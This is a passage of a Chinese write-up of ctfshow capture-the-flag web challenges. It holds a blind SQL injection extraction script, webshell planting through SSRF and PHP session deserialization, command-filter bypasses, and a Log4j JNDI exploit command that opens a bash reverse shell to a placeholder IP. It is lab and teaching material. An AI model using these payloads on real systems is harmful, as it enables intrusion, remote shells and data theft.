table_name from information_schema.tables where table_schema=database() limit 3,1) between '" + flag + chr (c) + "' and '" +chr (126 ) + "')#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r =requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 2 )): flag += chr (c - 1 ) print ('tablename = ' + flag.lower()) break def get_ColumnName (): flag = '' for j in range (0 , 10 ): for c in range (0x20 ,0x7f ): if chr (c) == '\'' or chr (c) == ';' or chr (c) == '\\' or chr (c) == '+' : continue else : payload = "1' or (select (select column_name from information_schema.columns where table_name='FL2333G' limit 0,1) between '" + flag + chr (c) + "' and '" +chr (126 ) + "')#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r =requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 2 )): flag += chr (c - 1 ) print ('column name = ' + flag.lower()) break def get_value (): flag = '' for j in range (0 , 50 ): for c in range (0x20 ,0x7f ): if chr (c) == '\'' or chr (c) == ';' or chr (c) == '\\' or chr (c) == '+' : continue else : payload = "1' or (select (select FLLLLLAG from FL2333G) between '" + flag + chr (c) + "' and '" +chr (126 ) + "')#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r =requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 2 )): flag += chr (c - 1 ) print ('flag = ' + flag.lower()) break print ("start database sql injection..." )databaseName_len() get_databaseName() get_tableName() get_ColumnName() get_value()
红包题第九弹 给了一个登录界面,点击login会跳到一个check.php,随便写用户名和密码,发现有给一个reurl参数 所以猜测有ssrf 这里使用ssrf专用的工具Gopherus https://github.com/tarunkant/Gopherus 我用的kali安装,修改了一下install.sh
1 2 3 4 5 #!/bin/bash python3 -m pip install argparse --break-system-packages python3 -m pip install requests --break-system-packages chmod +x gopherus.pyln -sf $(pwd )/gopherus.py /usr/local/bin/gopherus
然后写入一句话木马 得到poc,把poc做个url编码,然后用bp发送 用蚁剑连接之后在根目录找到flag
红包题 葵花宝典 又是一个登录平台 注册之后登录直接拿到flag
红包题 辟邪剑谱 和上一题一样的登录界面,但是注册之后不能登录。在url中访问www.zip可以下载源代码 checklogin.php代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 < ? php require_once '/ inc/ inc.php'; $user_name = trim($_POST['user_name']); $user_password = trim($_POST['user_password']); if (preg_match("/select|update|drop|union|and|or|sys|substr|sleep|from|where|0x|hex|bin|char|file|order|limit|by|\` |\~ |\! |\@ |\# |\\ $|\% |\^ |\& |\* |\( |\) |\( |\) |\- |\_ |\+ |\= |\{ |\[ |\} |\] |\; |\: |\' |\" |\< |\, |\> |\. |\? /i" , $user_name)) { die("stop hack!" ); } if (preg_match("/select|update|drop|union|and|or|sys|substr|sleep|from|where|0x|hex|bin|char|file|order|limit|by|\` |\~ |\! |\@ |\# |\\ $|\% |\^ |\& |\* |\( |\) |\( |\) |\- |\_ |\+ |\= |\{ |\[ |\} |\] |\; |\: |\' |\" |\< |\, |\> |\. |\? /i" , $user_password)) { die("stop hack!" ); } $data = $db-> select("admin" , ["username" , "password" ], ["username[=]" = > "admin" ); foreach ($data as $d) { if ($d['password'] == = $user_password) { $_SESSION['user'] = $user_name; die("login success!<br><hr>flag is $flag" ); } } header("location:index.php" ); ? >
这个代码中固定了用户名是admin,这里要用到sql的where特性 在 MySQL 中,WHERE
子句在比较字符串时会忽略字符串末尾的空格。例如,当执行 SELECT * FROM table WHERE column = 'cs ';
时,MySQL 会将其视为 'cs'
进行比较,只要 column
列的值为 'cs'
就会匹配成功。这一特性可以用于绕过一些输入过滤机制。
但是如果我这个时候禁用了严格 SQL 模式,那么就会直接截断,不管后面是什么,这个才是这道题的解法。
设置非严格模式,配置文件加上 sql_mode =""
就行 所以注册的时候用户用admin然后很多空格,密码随便输入,这样就可以登录admin
【nl】难了 题目源码:
1 2 3 4 5 6 7 8 9 10 <?php show_source (__FILE__ ); error_reporting (0 ); if (strlen ($_GET [1 ])<4 ){ echo shell_exec ($_GET [1 ]); } else { echo "hack!!!" ; } ?>
这里用1传入参数,但是长度小于4,先用ls指令看看有什么文件,发现flag文件特别长secretsecret_ctfshow_36dddddddddd.php,还有一个zzz.php 结合题目标题,猜测需要使用nl指令,但是不能直接用nl 因为不能直接输入文件名让nl执行。所以现在需要用到linux中的一个技巧,*
通配符会执行所有的文件
1 2 3 4 5 6 7 ┌──(root㉿kakeru)-[~/tmp/aa] └─# ls a nl ┌──(root㉿kakeru)-[~/tmp/aa] └─# * a: command not found
比如我这里有两个文件,输入*
,linux就会执行 a 和 nl,现在我们只要让nl再flag文件前面,然后用*
执行就好,所以先创建一个nl文件
1 2 https ://09260 a7d-e390-4428 -87 a8-e800f51f3670.challenge.ctf.show/?1 =>nlhttps ://09260 a7d-e390-4428 -87 a8-e800f51f3670.challenge.ctf.show/?1 =*
这样就可以通过执行nl 看flag文件,但是这里还是没法直接看,我们就把输出的结果重定向到到一个文件a中?1=*>a
最后访问url/a就可以得到flag
一切看起来都那么合情合理 题目描述:程序员二黑临走前植入了一个后门,你能帮公司找出来吗? 如果随便登录一个账号密码就会提示登录失败,没有其他的回显. 题目提示和后门有关,这里再去www.zip下载源码 index.php:
1 2 3 4 5 6 7 8 9 10 11 12 error_reporting (0 ); session_start (); if (isset ($_SESSION ['limit' ])){ $_SESSION ['limti' ]>5 ?die ("登陆失败次数超过限制" ):$_SESSION ['limit' ]=base64_decode ($_COOKIE ['limit' ]); $_COOKIE ['limit' ] = base64_encode (base64_decode ($_COOKIE ['limit' ]) +1 ); }else { setcookie ("limit" ,base64_encode ('1' )); $_SESSION ['limit' ]= 1 ; } ?>
这里设置了一个SESSION值limit,这个SESSION我们可以控制。我们就可以通过$_SESSION的值传递我们的payload入服务器的/tmp/sess_xxx生成我们构造的序列化payload
inc.php中的关键代码:
1 2 3 4 5 error_reporting (0 );ini_set ('display_errors', 0 );ini_set ('session.serialize_handler', 'php');date_default_timezone_set ("Asia/Shanghai");session_start ();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class User { public $username ; public $password ; public $status ; function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function setStatus ($s ) { $this ->status=$s ; } function __destruct ( ) { file_put_contents ("log-" .$this ->username, "使用" .$this ->password."登陆" .($this ->status?"成功" :"失败" )."----" .date_create ()->format ('Y-m-d H:i:s' )); } }
代码定义了一个User类,将利用file_put_contents()函数写入类属性值,现在我们就要利用session进行序列化执行User类的file_put_contents()函数写入一句话,得到flag check.php:
1 2 3 error_reporting (0 );require_once 'inc/inc.php' ;$GET = array ("u" =>$_GET ['u' ],"pass" =>$_GET ['pass' ]);
所以总的利用思路是利用index.php中的SESSION写入payload,而SESSION的数据会被存在服务器的/tmp/sess_xxx中,再用inc.php中的ini_set(‘session.serialize_handler’, ‘php’)来反序列化服务器上的/tmp/sess_xxxx文件,执行inc.php里面User类的file_put_contents()函数写入一句话 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );class User { public $username ; public $password ; public $status ; function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function setStatus ($s ) { $this ->status=$s ; } } $a =new User ("1.php" ,"<?php system('cat fl*');?>" );echo base64_encode (serialize ($a ));?>
直接进行序列化生成的是O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:26:"<?php system('cat fl*');?>";s:6:"status";N;}
这个payload前面加上分割符|,然后进行base64
1 2 3 4 ┌──(root㉿kakeru)-[~/tmp] └─# echo '|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:26:" <?php system ('cat fl*' );?> ";s:6:"status";N;}' | base64 fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7 czoyNjoiPD9waHAgc3lzdGVtKGNhdCBmbCopOz8+IjtzOjY6InN0YXR1cyI7Tjt9Cg==
最后用bp打开抓包 再给/inc/inc.php发包但是有一个问题就是我们写入的 session 马上又会被删除,使用我们利用 bp 不断的发包然后访问 check.php 或者 inc/inc.php 都可以 修改cookie的值,然后log-1.php中查看
红包题 耗子尾汁 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );highlight_file (__FILE__ );$a = $_GET ['a' ];$b = $_GET ['b' ];function CTFSHOW_36_D ($a ,$b ) { $dis = array ("var_dump" ,"exec" ,"readfile" ,"highlight_file" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ,"" ); $a = strtolower ($a ); if (!in_array ($a ,$dis ,true )) { forward_static_call_array ($a ,$b ); }else { echo 'hacker' ; } } CTFSHOW_36_D ($a ,$b );echo "rlezphp!!!" ;hackerrlezphp!!!
这里过滤了很多函数forward_static_call_array()
是 PHP 的一个内置函数,主要用于在运行时动态地调用一个静态方法 ,并且允许使用数组作为参数传递。它的作用类似于 call_user_func_array()
,但适用于静态方法调用。 如果$a不在数组的系列名单中,就会执行 forward_static_call_array 方法。 构造 a 为一个命令,b 作为数组传递参数:payload:?a=\system&b []=ls
使用反斜杠是因为这是在其他的类调用的系统函数 system,所以加上 \,也能绕过前面黑名单的验证: 接着b[]=cat flag.php,在源码中可以看到flag
新年好? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 const express = require ('express' );const fs = require ('fs' );const flag = require ('./flag' )const app = express ();app.get ('/flag' , function (req, res ) { function getflag (flag ) { res.send (flag); } let delay = 10 * 1000 ; if (Number .isInteger (parseInt (req.query .delay ))) { delay = Math .max (delay, parseInt (req.query .delay )); } const t = setTimeout (getflag, delay,flag); setTimeout (() => { clearTimeout (t); try { res.send ('Timeout!' ); } catch (e) { } }, 1000 ); }); app.get ('/' , function (req, res ) { res.set ('Content-Type' , 'text/javascript;charset=utf-8' ); res.send (fs.readFileSync ('./app.js' )); }); app.listen (3000 , '0.0.0.0' , () => { console .log ('Start listening' ) });
这个代码是一个使用 Express.js
编写的简单 Web 服务器,监听 3000
端口,并提供两个路由:/flag
和 /
。setTimeout(getflag, delay,flag);
在 delay 秒之后,会执行 getflag 方法,并且会将 flag 当做参数进行传入 浏览器内部使用 32 位带符号的整数,来储存推迟执行的时间。这意味着 setTimeout 最多只能推迟执行 2147483647 毫秒(24.8 天)超过这个时间会发生溢出。 如果溢出了之后,相当于从 0 开始,整数上溢,那么相当于我们可以控制只要在 1000 之内就可以 payload:/flag?delay=2147483648
红包一 用f12打开调试模式,搜索flag出现一个getflag的函数,在控制台输入getflag()就出现flag
Log4j 复现 题目描述:Log4j 复现,师傅们别到处 RCE 了 一个登录框,登录内容有回显 这题考查的是log4j Log4j 漏洞又名 “Log4Shell”,是 2021 年 11 月在 Apache Log4j 日志记录库发现的一个严重漏洞。Log4Shell 本质上让黑客完全控制运行未打补丁 Log4j 版本的设备。 利用JNDIExploit工具 使用方式
1 java -jar JNDI-Injection-Exploit-1 .0 -SNAPSHOT-all .jar -C "bash -c {echo,(bash -i >& /dev/tcp/IP/12345 0>&1)的base64编码}|{base64,-d}|{bash,-i}" -A "IP"
本机监听12345端口
payload:
1 ?u ser=$% 7Bjndi: rmi: //ip:1099/whsy 9k%7D
注:本篇的wp非原创,本人也为ctf新手,仅供参考学习。